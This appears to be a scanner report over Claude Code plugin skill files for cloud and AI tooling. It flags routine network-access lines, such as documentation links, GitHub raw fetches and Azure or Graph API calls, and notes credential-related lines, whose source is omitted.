- [Arize API keys](https://app.arize.com/admin)
harness/claude-code/plugins/arize-ax/skills/arize-trace/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/automate-this/.claude-plugin/plugin.json
harness/claude-code/plugins/automate-this/skills/automate-this/SKILL.md
- Network accessline 113
echo "=== Node ===" && { command -v node && node --version 2>&1; } || echo "not installed" echo "=== Homebrew ===" && { command -v brew && echo "installed"; } || echo "not installed" echo "=== Common Tools ===" && for cmd in curl jq playwri - Network accessline 115
echo "=== Common Tools ===" && for cmd in curl jq playwright selenium osascript automator crontab; do command -v $cmd >/dev/null 2>&1 && echo "$cmd: yes" || echo "$cmd: no"; done - Access to secretsline 188
[Credential-related source omitted]
harness/claude-code/plugins/awesome-copilot/.claude-plugin/plugin.json
harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-agents/SKILL.md
- Network accessline 27
Use web access to read the awesome-copilot catalog and raw agent files. The catalog is at `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`; agent files are under `https://github.com/github/awesome-copilot/tree/mai - Network accessline 33
1. Fetch the available custom agent list and descriptions from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`. - Network accessline 34
2. List every local `.github/agents/*.agent.md` file. 3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercont - Network accessline 35
3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` - Network accessline 36
4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`. - Network accessline 80
| Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilo - Network accessline 81
| --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to depl - Network accessline 82
| [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to deploy new experiments inside of Amp - Network accessline 83
| [launchdarkly-flag-cleanup.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/launchdarkly-flag-cleanup.agent.md) | Feature flag cleanup agent for LaunchDarkly | Yes | `launchdarkly-flag-cleanup.agent.md` | Already cover - Network accessline 84
| [principal-software-engineer.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/principal-software-engineer.agent.md) | Provide principal-level software engineering guidance with focus on engineering excellence, technica - Network accessline 100
| Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent - Network accessline 102
| `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent-name.agent.md)` | `<description>` | `No | Yes | Outdated` | `<local filename or None>` | `<why it fits, duplicate rationale, or specific outdated diff - Network accessline 107
- [ ] The awesome-copilot README agents catalog was fetched from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`. - Network accessline 108
- [ ] Local `.github/agents/*.agent.md` files were listed and their frontmatter descriptions were read. - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable - Network accessline 109
- [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable local agents. - Network accessline 117
- [Awesome Copilot agents catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md) - Network accessline 118
- [Awesome Copilot agents folder](https://github.com/github/awesome-copilot/tree/main/agents)
harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-instructions/SKILL.md
- Network accessline 26
- Read local instruction files from `.github/instructions/` and repository-wide instructions from `.github/copilot-instructions.md` when present. - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.inst - Network accessline 27
- Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md>. - Network accessline 28
- Fetch remote instruction versions with raw URLs: `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 34
2. Discover local `*.instructions.md` files in `.github/instructions/` and, when relevant, community `instructions/` files. 3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file t - Network accessline 35
3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awe - Network accessline 36
4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 84
| Awesome-Copilot Instruction | Description | Already Installed | Similar Local Instruction | Suggestion Rationale | | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions - Network accessline 85
| --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existi - Network accessline 86
| [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existing Blazor instructions. | - Network accessline 87
| [pcf-react-platform-libraries.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) | ReactJS development standards | No | None | Would enhance React development wi - Network accessline 88
| [java-junit5-assertions.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) | Java development best practices | Outdated | `java-junit5-assertions.instructions.md` | `a - Network accessline 116
| Local file | Remote file | Key differences | Recommendation | | --- | --- | --- | --- | | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <descripti - Network accessline 118
| `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <description/applyTo/content differences> | update | keep | - Network accessline 126
- [ ] The awesome-copilot catalog at <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md> was checked. - Network accessline 127
- [ ] Local `.github/instructions/` files were inventoried, including `description` and `applyTo`. - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instru - Network accessline 128
- [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 136
- [Awesome Copilot instructions catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md) - Network accessline 137
- [Blazor instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) - Network accessline 138
- [PCF React platform libraries instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) - Network accessline 139
- [Java JUnit 5 assertions instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) - Network accessline 140
- [Raw instruction URL pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename})
harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-skills/SKILL.md
- Network accessline 26
- Remote catalog: https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files - Network accessline 27
- Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files. Use `execute/bash` with `curl` only when a bundled asset cannot be retrieved completely thr - Network accessline 35
1. Fetch the available skill list and descriptions from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Network accessline 37
3. For each local folder, read `SKILL.md` front matter and extract `name` and `description`. 4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://r - Network accessline 38
4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. 6. Compar - Network accessline 39
5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. - Network accessline 71
https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md - Network accessline 76
- https://github.com/github/awesome-copilot/tree/main/skills/gh-attach - Network accessline 77
- https://github.com/github/awesome-copilot/tree/main/skills/aspire - Network accessline 78
- https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer - Network accessline 104
| Awesome-Copilot Skill | Description | Bundled Assets | Already Installed | Similar Local Skill | Suggestion Rationale | | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-atta - Network accessline 105
| --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automati - Network accessline 106
| [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automation capabilities | - Network accessline 107
| [aspire](https://github.com/github/awesome-copilot/tree/main/skills/aspire) | Aspire skill for distributed application development | 9 reference files | Yes | aspire | Already covered by existing Aspire skill | - Network accessline 108
| [terraform-azurerm-set-diff-analyzer](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer) | Analyze Terraform AzureRM provider changes | Reference files | Outdated | terraform-azurerm-set-diff-a - Network accessline 119
- [ ] The awesome-copilot README skills catalog was fetched from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Network accessline 129
- [awesome-copilot skills README](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md) - Network accessline 130
- [awesome-copilot skills folder](https://github.com/github/awesome-copilot/tree/main/skills) - Network accessline 131
- [gh-attach skill](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) - Network accessline 132
- [aspire skill](https://github.com/github/awesome-copilot/tree/main/skills/aspire) - Network accessline 133
- [terraform-azurerm-set-diff-analyzer skill](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer)
harness/claude-code/plugins/aws-cloud-development/.claude-plugin/plugin.json
harness/claude-code/plugins/aws-cloud-development/skills/aws-cost-optimize/SKILL.md
- Network accessline 33
**Process**: 1. **Load Best Practices**: - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html` - Network accessline 34
1. **Load Best Practices**: - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html` - Fetch the AWS Well-Architected Cost Optimization pillar summary - Network accessline 35
- Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`
harness/claude-code/plugins/aws-cloud-development/skills/aws-resource-health-diagnose/SKILL.md
- Network accessline 27
- The target resource must be identified by name, type, and optionally region/account. - CloudWatch logs and metrics should be enabled; if not, report the limitation and recommend enablement. - Fetch `https://docs.aws.amazon.com/AmazonCloud - Network accessline 29
- Fetch `https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/` when current monitoring guidance is needed. - Network accessline 173
- [Amazon CloudWatch monitoring](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/)
harness/claude-code/plugins/aws-cloud-development/skills/aws-well-architected-review/SKILL.md
- Network accessline 27
- IaC should be present as Terraform, CloudFormation, CDK, or SAM. If none exists, review live resources only and report the gap. - GitHub issue creation requires an authenticated GitHub tool or `gh`; otherwise output issue-ready Markdown. - Network accessline 29
- Fetch `https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html` and relevant lenses when current best practices are needed. - Network accessline 216
- [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html)
harness/claude-code/plugins/azure-ai-foundry/.claude-plugin/plugin.json
- Network accessline 6
"name": "Paula Silva" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/SKILL.md
- Network accessline 133
- [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 134
- [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy) - Network accessline 135
- [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 136
- [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)
harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/patterns.md
- Network accessline 13
- APIM instance deployed (use **azure-prepare** skill to deploy APIM — see [APIM deployment guide](https://learn.microsoft.com/azure/api-management/get-started-create-service-instance)) - Network accessline 65
az apim api import --service-name <apim-name> --resource-group <rg> --api-id azure-openai-api --path "openai" --specification-format OpenApi --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs - Network accessline 69
--path "openai" \ --specification-format OpenApi \ --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" - Network accessline 70
--specification-format OpenApi \ --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \ --service-url " - Network accessline 71
--specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \ - Network accessline 81
<base /> <set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 82
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 83
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 116
<set-variable name="backendUrl" value="@{ var backends = new [] { "https://aoai-eastus.openai.azure.com", - Network accessline 117
var backends = new [] { "https://aoai-eastus.openai.azure.com", "https://aoai-westus.openai.azure.com" - Network accessline 118
"https://aoai-eastus.openai.azure.com", - Network accessline 119
"https://aoai-westus.openai.azure.com" - Network accessline 124
}" /> <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 125
<set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 126
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 134
<set-variable name="backendUrl" value="@{ var backends = new [] { "https://aoai-eastus.openai.azure.com", - Network accessline 135
var backends = new [] { "https://aoai-eastus.openai.azure.com", "https://aoai-westus.openai.azure.com" - Network accessline 136
"https://aoai-eastus.openai.azure.com", - Network accessline 137
"https://aoai-westus.openai.azure.com" - Network accessline 177
<base /> <set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 178
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 179
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 216
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 217
<authentication-managed-identity resource="https://cognitiveservices.azure.com" />
harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/policies.md
- Network accessline 231
<!-- 1. Authentication --> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 232
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 309
- [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 310
- [APIM Policy Reference](https://learn.microsoft.com/azure/api-management/api-management-policies) - Network accessline 311
- [AI-Gateway Samples](https://github.com/Azure-Samples/AI-Gateway)
harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/sdk/azure-mgmt-apimanagement-py.md
- Access to secretsline 17
[Credential-related source omitted]
harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/troubleshooting.md
- Network accessline 17
| Managed identity not enabled on APIM | `az apim update --name <apim> --resource-group <rg> --set identity.type=SystemAssigned` | | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services Us - Network accessline 18
| Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services User" --scope <aoai-resource-id>` | | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint - Network accessline 19
| Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint URL) | - Network accessline 94
# Check cache-related headers in response curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 95
curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 212
# Send request with tracing curl -X POST "${GATEWAY_URL}/..." \ - Network accessline 213
curl -X POST "${GATEWAY_URL}/..." \ - Network accessline 256
# 3. Test endpoint curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 257
curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 268
- [APIM Diagnostics](https://learn.microsoft.com/azure/api-management/diagnose-solve-problems) - Network accessline 269
- [AI Gateway Monitoring](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities#monitoring-and-analytics) - Network accessline 270
- [APIM Error Handling](https://learn.microsoft.com/azure/api-management/api-management-error-handling-policies)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/SKILL.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 73
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 74
- [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/) - Network accessline 75
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 76
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 77
- [GitHub Models](https://docs.github.com/github-models)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/caching.md
- Network accessline 46
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 47
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/) - Network accessline 48
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/context-curation.md
- Network accessline 47
- [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview) - Network accessline 48
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 49
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md
- Network accessline 35
- [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai) - Network accessline 36
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 37
- [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications) - Network accessline 38
- [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md
- Network accessline 36
- [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/) - Network accessline 37
- [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/) - Network accessline 38
- [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection) - Network accessline 39
- [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/memory.md
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/model-routing.md
harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md
harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/SKILL.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 87
- AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search) - Network accessline 88
- Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/references/sdk/azure-ai-transcription-py.md
harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/references/sdk/azure-ai-translation-ts.md
- Access to secretsline 14
[Credential-related source omitted]
harness/claude-code/plugins/azure-ai-foundry/skills/azure-api-center/SKILL.md
- Network accessline 123
- [Azure API Center](https://learn.microsoft.com/azure/api-center/) - Network accessline 124
- [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis) - Network accessline 125
- [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting) - Network accessline 126
- [API Center and API Management](https://learn.microsoft.com/azure/api-center/)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/access-and-network.md
- Network accessline 32
- [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication) - Network accessline 33
- [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/) - Network accessline 34
- [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/semantic-cache.md
- Network accessline 39
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 40
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/) - Network accessline 41
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/session-store.md
harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/vector-memory.md
- Network accessline 32
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 33
- [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/) - Network accessline 34
- [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)
harness/claude-code/plugins/azure-ai-foundry/skills/entra-agent-user/SKILL.md
- Network accessline 74
GET https://graph.microsoft.com/beta/servicePrincipals/{agent-identity-id} - Network accessline 90
Connect-MgGraph -Scopes "Application.Read.All" -TenantId "<tenant>" -UseDeviceCode -NoWelcome Invoke-MgGraphRequest -Method GET ` -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 91
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 92
-Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 104
POST https://graph.microsoft.com/beta/users/microsoft.graph.agentUser - Network accessline 140
Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" ` - Network accessline 141
-Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" ` - Network accessline 158
PUT https://graph.microsoft.com/beta/users/{agent-user-id}/manager/$ref - Network accessline 162
{ "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}" - Network accessline 163
"@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}" - Network accessline 170
$managerBody = '{"@odata.id":"https://graph.microsoft.com/beta/users/<manager-user-id>"}' - Network accessline 171
Invoke-MgGraphRequest -Method PUT -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" - Network accessline 172
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" ` - Network accessline 185
PATCH https://graph.microsoft.com/beta/users/{agent-user-id} - Network accessline 197
GET https://graph.microsoft.com/beta/subscribedSkus?$select=skuPartNumber,skuId,consumedUnits,prepaidUnits - Network accessline 206
POST https://graph.microsoft.com/beta/users/{agent-user-id}/assignLicense - Network accessline 223
# Set usage location Invoke-MgGraphRequest -Method PATCH ` -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" ` - Network accessline 224
Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" - Network accessline 225
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" ` - Network accessline 229
$licenseBody = '{"addLicenses":[{"skuId":"<sku-id>"}],"removeLicenses":[]}' Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" ` - Network accessline 230
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" - Network accessline 231
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" ` - Network accessline 305
- [ ] The parent `identityParentId` was verified as `#microsoft.graph.agentIdentity` with `servicePrincipalType: ServiceIdentity`. - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not includ - Network accessline 306
- [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not include a password. - Network accessline 314
- [Agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-identities) - Network accessline 315
- [Agent users](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-users) - Network accessline 316
- [Agent service principals](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-service-principals) - Network accessline 317
- [Create agent identity blueprint](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-blueprint) - Network accessline 318
